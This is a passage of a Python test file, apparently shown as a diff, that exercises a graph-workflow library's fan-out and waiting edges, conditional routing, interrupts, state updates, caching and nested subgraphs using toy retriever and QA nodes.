answer: str + docs: Annotated[list[str], sorted_add] + + workflow = StateGraph(State) + + @workflow.add_node + def rewrite_query(data: State) -> State: + return {"query": f"query: {data['query']}"} + + def analyzer_one(data: State) -> State: + return {"query": f"analyzed: {data['query']}"} + + def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + def retriever_two(data: State) -> State: + time.sleep(0.1) # to ensure stream order + return {"docs": ["doc3", "doc4"]} + + def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + workflow.add_node(analyzer_one) + workflow.add_node(retriever_one) + workflow.add_node(retriever_two) + workflow.add_node(qa, defer=True) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "retriever_one") + workflow.add_edge("retriever_one", "analyzer_one") + workflow.add_edge("rewrite_query", "retriever_two") + if use_waiting_edge: + workflow.add_edge(["retriever_one", "retriever_two"], "qa") + else: + workflow.add_edge("retriever_one", "qa") + workflow.add_edge("retriever_two", "qa") + workflow.set_finish_point("qa") + + app = workflow.compile() + + if isinstance(sync_checkpointer, InMemorySaver): + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + + assert app.invoke({"query": "what is weather in sf"}) == { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + } + + assert [*app.stream({"query": "what is weather in sf"})] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + assert [*app.stream({"query": "what is weather in sf"}, stream_mode="debug")] == [ + { + "type": "task", + "timestamp": AnyStr(), + "step": 1, + "payload": { + "id": AnyStr(), + "name": "rewrite_query", + "input": {"query": "what is weather in sf", "docs": []}, + "triggers": ("branch:to:rewrite_query",), + }, + }, + { + "type": "task_result", + "timestamp": AnyStr(), + "step": 1, + "payload": { + "id": AnyStr(), + "name": "rewrite_query", + "error": None, + "result": { + "query": "query: what is weather in sf", + }, + "interrupts": [], + }, + }, + { + "type": "task", + "timestamp": AnyStr(), + "step": 2, + "payload": { + "id": AnyStr(), + "name": "retriever_one", + "input": {"query": "query: what is weather in sf", "docs": []}, + "triggers": ("branch:to:retriever_one",), + }, + }, + { + "type": "task", + "timestamp": AnyStr(), + "step": 2, + "payload": { + "id": AnyStr(), + "name": "retriever_two", + "input": {"query": "query: what is weather in sf", "docs": []}, + "triggers": ("branch:to:retriever_two",), + }, + }, + { + "type": "task_result", + "timestamp": AnyStr(), + "step": 2, + "payload": { + "id": AnyStr(), + "name": "retriever_one", + "error": None, + "result": { + "docs": ["doc1", "doc2"], + }, + "interrupts": [], + }, + }, + { + "type": "task_result", + "timestamp": AnyStr(), + "step": 2, + "payload": { + "id": AnyStr(), + "name": "retriever_two", + "error": None, + "result": { + "docs": ["doc3", "doc4"], + }, + "interrupts": [], + }, + }, + { + "type": "task", + "timestamp": AnyStr(), + "step": 3, + "payload": { + "id": AnyStr(), + "name": "analyzer_one", + "input": { + "query": "query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + }, + "triggers": ("branch:to:analyzer_one",), + }, + }, + { + "type": "task_result", + "timestamp": AnyStr(), + "step": 3, + "payload": { + "id": AnyStr(), + "name": "analyzer_one", + "error": None, + "result": { + "query": "analyzed: query: what is weather in sf", + }, + "interrupts": [], + }, + }, + { + "type": "task", + "timestamp": AnyStr(), + "step": 4, + "payload": { + "id": AnyStr(), + "name": "qa", + "input": { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + }, + "triggers": ("branch:to:qa", "join:retriever_one+retriever_two:qa") + if use_waiting_edge + else ("branch:to:qa",), + }, + }, + { + "type": "task_result", + "timestamp": AnyStr(), + "step": 4, + "payload": { + "id": AnyStr(), + "name": "qa", + "error": None, + "result": { + "answer": "doc1,doc2,doc3,doc4", + }, + "interrupts": [], + }, + }, + ] + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_after=["analyzer_one"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c for c in app_w_interrupt.stream({"query": "what is weather in sf"}, config) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"__interrupt__": ()}, + ] + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_before=["qa"], + ) + config = {"configurable": {"thread_id": "2"}} + + assert [ + c for c in app_w_interrupt.stream({"query": "what is weather in sf"}, config) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"__interrupt__": ()}, + ] + + app_w_interrupt.update_state(config, {"docs": ["doc5"]}) + expected_parent_config = list(app_w_interrupt.checkpointer.list(config, limit=2))[ + -1 + ].config + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4", "doc5"], + }, + tasks=(PregelTask(AnyStr(), "qa", (PULL, "qa")),), + next=("qa",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 4, + }, + parent_config=expected_parent_config, + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config, debug=1)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4,doc5"}}, + ] + + +def test_in_one_fan_out_state_graph_waiting_edge_via_branch( + snapshot: SnapshotAssertion, sync_checkpointer: BaseCheckpointSaver +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], sorted_add] + + def rewrite_query(data: State) -> State: + return {"query": f"query: {data['query']}"} + + def analyzer_one(data: State) -> State: + return {"query": f"analyzed: {data['query']}"} + + def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + def retriever_two(data: State) -> State: + time.sleep(0.1) + return {"docs": ["doc3", "doc4"]} + + def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + def rewrite_query_then(data: State) -> Literal["retriever_two"]: + return "retriever_two" + + workflow = StateGraph(State) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_conditional_edges("rewrite_query", rewrite_query_then) + workflow.add_edge(["retriever_one", "retriever_two"], "qa") + workflow.set_finish_point("qa") + + app = workflow.compile() + + if isinstance(sync_checkpointer, InMemorySaver): + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + + assert app.invoke({"query": "what is weather in sf"}, debug=True) == { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + } + + assert [*app.stream({"query": "what is weather in sf"})] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_after=["retriever_one"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c for c in app_w_interrupt.stream({"query": "what is weather in sf"}, config) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"__interrupt__": ()}, + ] + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + +def test_in_one_fan_out_state_graph_waiting_edge_custom_state_class_pydantic2( + snapshot: SnapshotAssertion, + sync_checkpointer: BaseCheckpointSaver, +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class InnerObject(BaseModel): + yo: int + + class State(BaseModel): + model_config = ConfigDict(arbitrary_types_allowed=True) + + query: str + inner: Annotated[InnerObject, lambda x, y: y] + answer: str | None = None + docs: Annotated[list[str], sorted_add] + + class StateUpdate(BaseModel): + query: str | None = None + answer: str | None = None + docs: list[str] | None = None + + class UpdateDocs34(BaseModel): + docs: list[str] = Field(default_factory=lambda: ["doc3", "doc4"]) + + class Input(BaseModel): + query: str + inner: InnerObject + + class Output(BaseModel): + answer: str + docs: list[str] + + def rewrite_query(data: State) -> State: + assert isinstance(data.inner, InnerObject) + return {"query": f"query: {data.query}"} + + def analyzer_one(data: State) -> State: + assert isinstance(data.inner, InnerObject) + return StateUpdate(query=f"analyzed: {data.query}") + + def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + def retriever_two(data: State) -> State: + time.sleep(0.1) + return UpdateDocs34() + + def qa(data: State) -> State: + return {"answer": ",".join(data.docs)} + + def decider(data: State) -> str: + assert isinstance(data, State) + return "retriever_two" + + workflow = StateGraph(State, input_schema=Input, output_schema=Output) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_conditional_edges( + "rewrite_query", decider, {"retriever_two": "retriever_two"} + ) + workflow.add_edge(["retriever_one", "retriever_two"], "qa") + workflow.set_finish_point("qa") + + app = workflow.compile() + + if isinstance(sync_checkpointer, InMemorySaver): + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + assert app.get_input_jsonschema() == snapshot + assert app.get_output_jsonschema() == snapshot + + with pytest.raises(ValidationError): + app.invoke({"query": {}}) + + assert app.invoke({"query": "what is weather in sf", "inner": {"yo": 1}}) == { + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + } + + assert [*app.stream({"query": "what is weather in sf", "inner": {"yo": 1}})] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_after=["retriever_one"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + for c in app_w_interrupt.stream( + {"query": "what is weather in sf", "inner": {"yo": 1}}, config + ) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"__interrupt__": ()}, + ] + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + assert app_w_interrupt.update_state( + config, {"docs": ["doc5"]}, as_node="rewrite_query" + ) == { + "configurable": { + "thread_id": "1", + "checkpoint_id": AnyStr(), + "checkpoint_ns": "", + } + } + + +def test_in_one_fan_out_state_graph_waiting_edge_custom_state_class_pydantic_input( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class InnerObject(BaseModel): + yo: int + + class QueryModel(BaseModel): + query: str + + class State(QueryModel): + inner: InnerObject + answer: str | None = None + docs: Annotated[list[str], sorted_add] + + class StateUpdate(BaseModel): + query: str | None = None + answer: str | None = None + docs: list[str] | None = None + + class Input(QueryModel): + inner: InnerObject + + class Output(BaseModel): + answer: str + docs: list[str] + + def rewrite_query(data: State) -> State: + return {"query": f"query: {data.query}"} + + def analyzer_one(data: State) -> State: + return StateUpdate(query=f"analyzed: {data.query}") + + def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + def retriever_two(data: State) -> State: + time.sleep(0.1) + return {"docs": ["doc3", "doc4"]} + + def qa(data: State) -> State: + return {"answer": ",".join(data.docs)} + + def decider(data: State) -> str: + assert isinstance(data, State) + return "retriever_two" + + workflow = StateGraph(State, input_schema=Input, output_schema=Output) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_conditional_edges( + "rewrite_query", decider, {"retriever_two": "retriever_two"} + ) + workflow.add_edge(["retriever_one", "retriever_two"], "qa") + workflow.set_finish_point("qa") + + app = workflow.compile() + + assert app.invoke( + Input(query="what is weather in sf", inner=InnerObject(yo=1)) + ) == { + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + } + + assert [ + *app.stream(Input(query="what is weather in sf", inner=InnerObject(yo=1))) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_after=["retriever_one"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + for c in app_w_interrupt.stream( + Input(query="what is weather in sf", inner=InnerObject(yo=1)), config + ) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"__interrupt__": ()}, + ] + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + assert app_w_interrupt.update_state( + config, {"docs": ["doc5"]}, as_node="rewrite_query" + ) == { + "configurable": { + "thread_id": "1", + "checkpoint_id": AnyStr(), + "checkpoint_ns": "", + } + } + + +def test_in_one_fan_out_state_graph_waiting_edge_plus_regular( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], sorted_add] + + def rewrite_query(data: State) -> State: + return {"query": f"query: {data['query']}"} + + def analyzer_one(data: State) -> State: + time.sleep(0.1) + return {"query": f"analyzed: {data['query']}"} + + def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + def retriever_two(data: State) -> State: + time.sleep(0.2) + return {"docs": ["doc3", "doc4"]} + + def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + workflow = StateGraph(State) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_edge("rewrite_query", "retriever_two") + workflow.add_edge(["retriever_one", "retriever_two"], "qa") + workflow.set_finish_point("qa") + + # silly edge, to make sure having been triggered before doesn't break + # semantics of named barrier (== waiting edges) + workflow.add_edge("rewrite_query", "qa") + + app = workflow.compile() + + assert app.invoke({"query": "what is weather in sf"}) == { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + } + + rewrite = {"rewrite_query": {"query": "query: what is weather in sf"}} + analyzer = {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}} + empty_qa = {"qa": {"answer": ""}} + retriever_one_result = {"retriever_one": {"docs": ["doc1", "doc2"]}} + retriever_two_result = {"retriever_two": {"docs": ["doc3", "doc4"]}} + + def assert_valid_stream_order( + chunks: list[dict[str, Any]], terminal: dict[str, Any] + ) -> None: + assert chunks[0] == rewrite + assert chunks[-1] == terminal + middle = chunks[1:-1] + assert sorted(middle, key=repr) == sorted( + [empty_qa, analyzer, retriever_one_result, retriever_two_result], key=repr + ) + assert middle.index(analyzer) < middle.index(retriever_one_result) + + assert_valid_stream_order( + [*app.stream({"query": "what is weather in sf"})], + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ) + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_after=["retriever_one"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert_valid_stream_order( + [c for c in app_w_interrupt.stream({"query": "what is weather in sf"}, config)], + {"__interrupt__": ()}, + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + +@pytest.mark.parametrize("with_cache", [True, False]) +def test_in_one_fan_out_state_graph_waiting_edge_multiple( + with_cache: bool, cache: BaseCache +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], sorted_add] + + rewrite_query_count = 0 + + def rewrite_query(data: State) -> State: + nonlocal rewrite_query_count + rewrite_query_count += 1 + return {"query": f"query: {data['query']}"} + + def analyzer_one(data: State) -> State: + return {"query": f"analyzed: {data['query']}"} + + def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + def retriever_two(data: State) -> State: + time.sleep(0.1) + return {"docs": ["doc3", "doc4"]} + + def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + def decider(data: State) -> None: + return None + + def decider_cond(data: State) -> str: + if data["query"].count("analyzed") > 1: + return "qa" + else: + return "rewrite_query" + + workflow = StateGraph(State) + + workflow.add_node( + "rewrite_query", + rewrite_query, + cache_policy=CachePolicy() if with_cache else None, + ) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("decider", decider) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_edge("rewrite_query", "retriever_two") + workflow.add_edge(["retriever_one", "retriever_two"], "decider") + workflow.add_conditional_edges("decider", decider_cond) + workflow.set_finish_point("qa") + + app = workflow.compile(cache=cache) + + assert app.invoke({"query": "what is weather in sf"}) == { + "query": "analyzed: query: analyzed: query: what is weather in sf", + "answer": "doc1,doc1,doc2,doc2,doc3,doc3,doc4,doc4", + "docs": ["doc1", "doc1", "doc2", "doc2", "doc3", "doc3", "doc4", "doc4"], + } + + assert [*app.stream({"query": "what is weather in sf"})] == [ + { + "rewrite_query": {"query": "query: what is weather in sf"}, + "__metadata__": {"cached": True}, + } + if with_cache + else {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"decider": None}, + { + "rewrite_query": {"query": "query: analyzed: query: what is weather in sf"}, + "__metadata__": {"cached": True}, + } + if with_cache + else { + "rewrite_query": {"query": "query: analyzed: query: what is weather in sf"} + }, + { + "analyzer_one": { + "query": "analyzed: query: analyzed: query: what is weather in sf" + } + }, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"decider": None}, + {"qa": {"answer": "doc1,doc1,doc2,doc2,doc3,doc3,doc4,doc4"}}, + ] + assert rewrite_query_count == 2 if with_cache else 4 + + # clear the cache + if with_cache: + app.clear_cache() + + assert app.invoke({"query": "what is weather in sf"}) == { + "query": "analyzed: query: analyzed: query: what is weather in sf", + "answer": "doc1,doc1,doc2,doc2,doc3,doc3,doc4,doc4", + "docs": ["doc1", "doc1", "doc2", "doc2", "doc3", "doc3", "doc4", "doc4"], + } + assert rewrite_query_count == 4 + + +def test_callable_in_conditional_edges_with_no_path_map() -> None: + class State(TypedDict, total=False): + query: str + + def rewrite(data: State) -> State: + return {"query": f"query: {data['query']}"} + + def analyze(data: State) -> State: + return {"query": f"analyzed: {data['query']}"} + + class ChooseAnalyzer: + def __call__(self, data: State) -> str: + return "analyzer" + + workflow = StateGraph(State) + workflow.add_node("rewriter", rewrite) + workflow.add_node("analyzer", analyze) + workflow.add_conditional_edges("rewriter", ChooseAnalyzer()) + workflow.set_entry_point("rewriter") + app = workflow.compile() + + assert app.invoke({"query": "what is weather in sf"}) == { + "query": "analyzed: query: what is weather in sf", + } + + +def test_function_in_conditional_edges_with_no_path_map() -> None: + class State(TypedDict, total=False): + query: str + + def rewrite(data: State) -> State: + return {"query": f"query: {data['query']}"} + + def analyze(data: State) -> State: + return {"query": f"analyzed: {data['query']}"} + + def choose_analyzer(data: State) -> str: + return "analyzer" + + workflow = StateGraph(State) + workflow.add_node("rewriter", rewrite) + workflow.add_node("analyzer", analyze) + workflow.add_conditional_edges("rewriter", choose_analyzer) + workflow.set_entry_point("rewriter") + app = workflow.compile() + + assert app.invoke({"query": "what is weather in sf"}) == { + "query": "analyzed: query: what is weather in sf", + } + + +def test_in_one_fan_out_state_graph_waiting_edge_multiple_cond_edge() -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], sorted_add] + + def rewrite_query(data: State) -> State: + return {"query": f"query: {data['query']}"} + + def retriever_picker(data: State) -> list[str]: + return ["analyzer_one", "retriever_two"] + + def analyzer_one(data: State) -> State: + return {"query": f"analyzed: {data['query']}"} + + def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + def retriever_two(data: State) -> State: + time.sleep(0.1) + return {"docs": ["doc3", "doc4"]} + + def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + def decider(data: State) -> None: + return None + + def decider_cond(data: State) -> str: + if data["query"].count("analyzed") > 1: + return "qa" + else: + return "rewrite_query" + + workflow = StateGraph(State) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("decider", decider) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_conditional_edges("rewrite_query", retriever_picker) + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_edge(["retriever_one", "retriever_two"], "decider") + workflow.add_conditional_edges("decider", decider_cond) + workflow.set_finish_point("qa") + + app = workflow.compile() + + assert app.invoke({"query": "what is weather in sf"}) == { + "query": "analyzed: query: analyzed: query: what is weather in sf", + "answer": "doc1,doc1,doc2,doc2,doc3,doc3,doc4,doc4", + "docs": ["doc1", "doc1", "doc2", "doc2", "doc3", "doc3", "doc4", "doc4"], + } + + assert [*app.stream({"query": "what is weather in sf"})] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"decider": None}, + {"rewrite_query": {"query": "query: analyzed: query: what is weather in sf"}}, + { + "analyzer_one": { + "query": "analyzed: query: analyzed: query: what is weather in sf" + } + }, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"decider": None}, + {"qa": {"answer": "doc1,doc1,doc2,doc2,doc3,doc3,doc4,doc4"}}, + ] + + +def test_simple_multi_edge(snapshot: SnapshotAssertion) -> None: + class State(TypedDict): + my_key: Annotated[str, operator.add] + + def up(state: State): + pass + + def side(state: State): + pass + + def other(state: State): + return {"my_key": "_more"} + + def down(state: State): + pass + + graph = StateGraph(State) + + graph.add_node("up", up) + graph.add_node("side", side) + graph.add_node("other", other) + graph.add_node("down", down) + + graph.set_entry_point("up") + graph.add_edge("up", "side") + graph.add_edge("up", "other") + graph.add_edge(["up", "side"], "down") + graph.set_finish_point("down") + + app = graph.compile() + + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + assert app.invoke({"my_key": "my_value"}) == {"my_key": "my_value_more"} + assert [*app.stream({"my_key": "my_value"})] in ( + [ + {"up": None}, + {"side": None}, + {"other": {"my_key": "_more"}}, + {"down": None}, + ], + [ + {"up": None}, + {"other": {"my_key": "_more"}}, + {"side": None}, + {"down": None}, + ], + ) + + +def test_nested_graph_xray(snapshot: SnapshotAssertion) -> None: + class State(TypedDict): + my_key: Annotated[str, operator.add] + market: str + + def logic(state: State): + pass + + tool_two_graph = StateGraph(State) + tool_two_graph.add_node("tool_two_slow", logic) + tool_two_graph.add_node("tool_two_fast", logic) + tool_two_graph.set_conditional_entry_point( + lambda s: "tool_two_slow" if s["market"] == "DE" else "tool_two_fast", + ["tool_two_slow", "tool_two_fast"], + ) + tool_two = tool_two_graph.compile() + + graph = StateGraph(State) + graph.add_node("tool_one", logic) + graph.add_node("tool_two", tool_two) + graph.add_node("tool_three", logic) + graph.set_conditional_entry_point( + lambda s: "tool_one", ["tool_one", "tool_two", "tool_three"] + ) + app = graph.compile() + + assert app.get_graph(xray=True).to_json() == snapshot + assert app.get_graph(xray=True).draw_mermaid() == snapshot + + +def test_nested_graph(snapshot: SnapshotAssertion) -> None: + def never_called_fn(state: Any): + assert 0, "This function should never be called" + + never_called = RunnableLambda(never_called_fn) + + class InnerState(TypedDict): + my_key: str + my_other_key: str + + def up(state: InnerState): + return {"my_key": state["my_key"] + " there", "my_other_key": state["my_key"]} + + inner = StateGraph(InnerState) + inner.add_node("up", up) + inner.set_entry_point("up") + inner.set_finish_point("up") + + class State(TypedDict): + my_key: str + never_called: Any + + def side(state: State): + return {"my_key": state["my_key"] + " and back again"} + + graph = StateGraph(State) + graph.add_node("inner", inner.compile()) + graph.add_node("side", side) + graph.set_entry_point("inner") + graph.add_edge("inner", "side") + graph.set_finish_point("side") + + app = graph.compile() + + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + assert app.get_graph(xray=True).draw_mermaid() == snapshot + assert app.invoke( + {"my_key": "my value", "never_called": never_called}, + print_mode=["values", "updates"], + ) == { + "my_key": "my value there and back again", + "never_called": never_called, + } + assert [*app.stream({"my_key": "my value", "never_called": never_called})] == [ + {"inner": {"my_key": "my value there"}}, + {"side": {"my_key": "my value there and back again"}}, + ] + assert [ + *app.stream( + {"my_key": "my value", "never_called": never_called}, stream_mode="values" + ) + ] == [ + { + "my_key": "my value", + "never_called": never_called, + }, + { + "my_key": "my value there", + "never_called": never_called, + }, + { + "my_key": "my value there and back again", + "never_called": never_called, + }, + ] + + chain = app | RunnablePassthrough() + + assert chain.invoke({"my_key": "my value", "never_called": never_called}) == { + "my_key": "my value there and back again", + "never_called": never_called, + } + assert [*chain.stream({"my_key": "my value", "never_called": never_called})] == [ + {"inner": {"my_key": "my value there"}}, + {"side": {"my_key": "my value there and back again"}}, + ] + + +def test_subgraph_checkpoint_true( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class InnerState(TypedDict): + my_key: Annotated[str, operator.add] + my_other_key: str + + def inner_1(state: InnerState): + return {"my_key": " got here", "my_other_key": state["my_key"]} + + def inner_2(state: InnerState): + return {"my_key": " and there"} + + inner = StateGraph(InnerState) + inner.add_node("inner_1", inner_1) + inner.add_node("inner_2", inner_2) + inner.add_edge("inner_1", "inner_2") + inner.set_entry_point("inner_1") + inner.set_finish_point("inner_2") + + class State(TypedDict): + my_key: str + + graph = StateGraph(State) + graph.add_node("inner", inner.compile(checkpointer=True)) + graph.add_edge(START, "inner") + graph.add_conditional_edges( + "inner", lambda s: "inner" if s["my_key"].count("there") < 2 else END + ) + app = 